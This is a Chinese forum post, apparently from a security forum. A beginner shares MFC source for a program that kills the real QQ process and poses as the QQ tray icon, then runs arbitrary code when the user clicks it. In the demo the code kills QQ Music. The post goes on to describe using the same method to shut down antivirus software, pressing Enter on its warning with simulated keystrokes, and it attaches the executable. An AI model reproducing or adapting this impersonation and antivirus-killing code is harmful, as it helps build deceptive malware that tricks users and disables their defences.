[废话不说了,因为知道我这东西没什么技术含量,只是本人第一次写代码,而且成功了纪念一下。。。。
功能:截获qq 图标来运行自己的程序
工具:vc++(MFC)
先介绍:使用流程。。。。。。
1.点击长得很像qq的图标(由于 没找到qq的原始图标 所以搞了个赝品代替);
2.鉴于大多数人 ,大多数情况都会登qq ,所以很快就代替qq 右下角的运行图标;
3.只要左击就执行自己的程序,我这里 就用杀掉qq音乐来演示(当然这个地方可以添加自己的东西)
代码中 注意的问题:
1. 要让原进程运行的图标不能显示在任务栏
2.而且要将其加入qq 正真的位置,供用户点击(即托盘)
3.对进程名 改写(这里自己的进程在任务管理器中 设为 小写qq.exe)
具体代码块大致是这样的:
CWnd *pwnd=FindWindow("ProgMan",NULL);
this->SetParent(pwnd); //在mfc中让对话框程序在任 务栏中进行图标隐藏
this->ShowWindow(SW_SHOWMINIMIZED); // 结合上面最小化 达到 隐藏界面
//底下就对目标进程收索 和kill
char strDIR1[]="QQ.exe";
PROCESSENTRY32 pe32={sizeof(pe32)};
HANDLE hProcessShot=::CreateToolhelp32Snapshot
(TH32 CS_SNAPPROCESS,0);
if(hProcessShot==INVALID_HANDLE_VALUE)
::MessageBox(this->m_hWnd,"错误","调用错误",MB_OK);
else
{
if(::Process32First(hProcessShot,&pe32))
{
do{
if(strcmp(pe32.szExeFile,strDIR1)==0)
{
HANDLE hProcess=::OpenProcess(PROCESS_TERMINATE,FALSE,pe32.th32 ProcessID);
::TerminateProcess(hProcess,-1);
}
}while(::Process32Next(hProcessShot,&pe32));
}
}
右击要干的事情:(可以自己添加)
void CENUMPROCESSDlg::OnOK()
{
// TODO: Add extra validation here
char strDIR2[]="QQMusic.exe";
PROCESSENTRY32 pe32={sizeof(pe32)};
HANDLE hProcessShot=::CreateToolhelp32Snapshot
(TH32CS_SNAPPROCESS,0);
if(hProcessShot==INVALID_HANDLE_VALUE)
::MessageBox(this->m_hWnd,"错误","调用错误",MB_OK);
else
{
if(::Process32First(hProcessShot,&pe32))
{
do{
if(strcmp(pe32.szExeFile,strDIR2)==0)
{
HANDLE hProcess=::OpenProcess ( PROCESS_TERMINATE,FALSE,pe32.th32ProcessID);
::TerminateProcess(hProcess,-1);
}
}while(::Process32Next(hProcessShot,&pe32));
}
}
托盘建立和事件相应:
int CENUMPROCESSDlg::OnCreate(LPCREATESTRUCT lpCreateStruct)
{
if (CDialog::OnCreate(lpCreateStruct) == -1)
return -1;
// TODO: Add your specialized creation code here
NOTIFYICONDATA tnd;
tnd.cbSize=sizeof(NOTIFYICONDATA);
tnd.hWnd=this-> m_hWnd;
tnd.uID=IDR_MAINFRAME;
tnd.uFlags=NIF_MESSAGE|NIF_ICON|NIF_TIP;
tnd.uCallbackMessage=WM_LIBEN; //自定义的消息
tnd.hIcon=LoadIcon(AfxGetInstanceHandle(),MAKEINTRESOURCE(IDI_ICON1));
strcpy(tnd.szTip, "QQ");
Shell_NotifyIcon(NIM_ADD,&tnd);
return 0;
}
void CENUMPROCESSDlg::OnLiben(WPARAM wParam,LPARAM lParam)
{
UINT uID;//发出该消息的图标的ID
UINT uMouseMsg;//鼠标动作
POINT pt;
uID=(UINT) wParam;
uMouseMsg=(UINT) lParam;
if(uMouseMsg==WM_LBUTTONDOWN)
{
this->OnOK(); //正真目的调用的函数,也可 在此处添加 自己的消息处理,执行相应的代码
}
return;
}
当然最重要的不是上面把qq换掉,而是 把杀软换掉:
1.照着上面的步骤关闭杀软,通常情况下他会弹出对话框
2.用模拟键盘 写enter 就可以了。。
具体重要点的代码就这么多,函数很简单 。。。也没写太多。。
在看雪: 每天进步一点点。。。
貌似nod 可以直接将它x掉,360不会阻止,现在杀软,太强了,又没干嘛,他就干掉了。。
执行文件:
ATTACH]51756[/ATTACH]
[培训]《安卓高级研修班(网课)》月薪三万计划,掌握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法